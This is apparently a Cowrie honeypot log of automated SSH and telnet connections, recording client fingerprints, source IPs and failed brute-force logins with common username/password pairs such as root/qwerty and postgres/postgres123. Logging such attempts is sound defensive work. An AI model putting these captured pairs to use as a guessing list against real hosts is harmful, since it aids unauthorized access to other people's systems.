{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:09.630856Z","src_ip":"83.168.110.85","session":"ca70e84bec3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:09.747484Z","src_ip":"83.168.110.85","session":"ca70e84bec3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:10.220864Z","src_ip":"83.168.110.85","session":"ca70e84bec3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:11.465065Z","src_ip":"83.168.110.85","session":"ca70e84bec3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":47364,"dst_ip":"10.17.0.5","dst_port":22,"session":"7637940bf369","protocol":"ssh","message":"New connection: 94.159.98.239:47364 (10.17.0.5:22) [session: 7637940bf369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:17.879114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:18.103909Z","src_ip":"94.159.98.239","session":"7637940bf369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:18.108864Z","src_ip":"94.159.98.239","session":"7637940bf369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqwwee","message":"login attempt [root/qqwwee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:19.486975Z","src_ip":"94.159.98.239","session":"7637940bf369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53956,"dst_ip":"159.203.135.109","dst_port":22,"session":"3db5b14ab933","protocol":"ssh","message":"New connection: 83.168.110.85:53956 (159.203.135.109:22) [session: 3db5b14ab933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:19.860881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:19.874254Z","src_ip":"83.168.110.85","session":"3db5b14ab933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:19.984215Z","src_ip":"83.168.110.85","session":"3db5b14ab933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:20.462729Z","src_ip":"83.168.110.85","session":"3db5b14ab933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:20.747762Z","src_ip":"94.159.98.239","session":"7637940bf369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:21.639959Z","src_ip":"83.168.110.85","session":"3db5b14ab933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":59558,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2016db2109f","protocol":"ssh","message":"New connection: 147.45.197.250:59558 (10.17.0.5:22) [session: e2016db2109f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:28.350490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:28.355320Z","src_ip":"147.45.197.250","session":"e2016db2109f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:28.445179Z","src_ip":"147.45.197.250","session":"e2016db2109f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwaszx12","message":"login attempt [root/qwaszx12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:28.727312Z","src_ip":"147.45.197.250","session":"e2016db2109f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:29.820549Z","src_ip":"147.45.197.250","session":"e2016db2109f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47990,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0d12870535f","protocol":"ssh","message":"New connection: 83.168.110.85:47990 (159.203.135.109:22) [session: b0d12870535f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:29.995684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:30.007350Z","src_ip":"83.168.110.85","session":"b0d12870535f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:30.135906Z","src_ip":"83.168.110.85","session":"b0d12870535f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.234.77.65","src_port":38860,"dst_ip":"159.203.135.109","dst_port":23,"session":"7af4287157ca","protocol":"telnet","message":"New connection: 187.234.77.65:38860 (159.203.135.109:23) [session: 7af4287157ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:30.190489Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:30.503356Z","src_ip":"83.168.110.85","session":"b0d12870535f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":49588,"dst_ip":"159.203.135.109","dst_port":22,"session":"91ac944aafe3","protocol":"ssh","message":"New connection: 193.228.128.84:49588 (159.203.135.109:22) [session: 91ac944aafe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:31.546498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:31.551345Z","src_ip":"193.228.128.84","session":"91ac944aafe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:31.653234Z","src_ip":"193.228.128.84","session":"91ac944aafe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:31.708075Z","src_ip":"83.168.110.85","session":"b0d12870535f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tamara","message":"login attempt [root/tamara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:31.959500Z","src_ip":"193.228.128.84","session":"91ac944aafe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:33.065724Z","src_ip":"193.228.128.84","session":"91ac944aafe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":50826,"dst_ip":"159.203.135.109","dst_port":22,"session":"89579bb0effd","protocol":"ssh","message":"New connection: 103.27.238.120:50826 (159.203.135.109:22) [session: 89579bb0effd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:35.040487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:35.049234Z","src_ip":"103.27.238.120","session":"89579bb0effd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:35.328683Z","src_ip":"103.27.238.120","session":"89579bb0effd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www123","message":"login attempt [root/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:36.162660Z","src_ip":"103.27.238.120","session":"89579bb0effd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:37.440570Z","src_ip":"103.27.238.120","session":"89579bb0effd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60062,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc46289b0579","protocol":"ssh","message":"New connection: 83.168.110.85:60062 (159.203.135.109:22) [session: cc46289b0579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:40.378464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:40.383198Z","src_ip":"83.168.110.85","session":"cc46289b0579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:40.505887Z","src_ip":"83.168.110.85","session":"cc46289b0579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:40.870287Z","src_ip":"83.168.110.85","session":"cc46289b0579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:42.000425Z","src_ip":"83.168.110.85","session":"cc46289b0579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.543593168258667,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:43.733938Z","src_ip":"187.234.77.65","session":"7af4287157ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.157.123.190","src_port":42748,"dst_ip":"159.203.135.109","dst_port":23,"session":"7183be0c37e6","protocol":"telnet","message":"New connection: 2.157.123.190:42748 (159.203.135.109:23) [session: 7183be0c37e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:48.118839Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38834,"dst_ip":"159.203.135.109","dst_port":22,"session":"99bb171e3f0c","protocol":"ssh","message":"New connection: 83.168.110.85:38834 (159.203.135.109:22) [session: 99bb171e3f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:50.544718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:50.549203Z","src_ip":"83.168.110.85","session":"99bb171e3f0c","protocol":"ssh"}
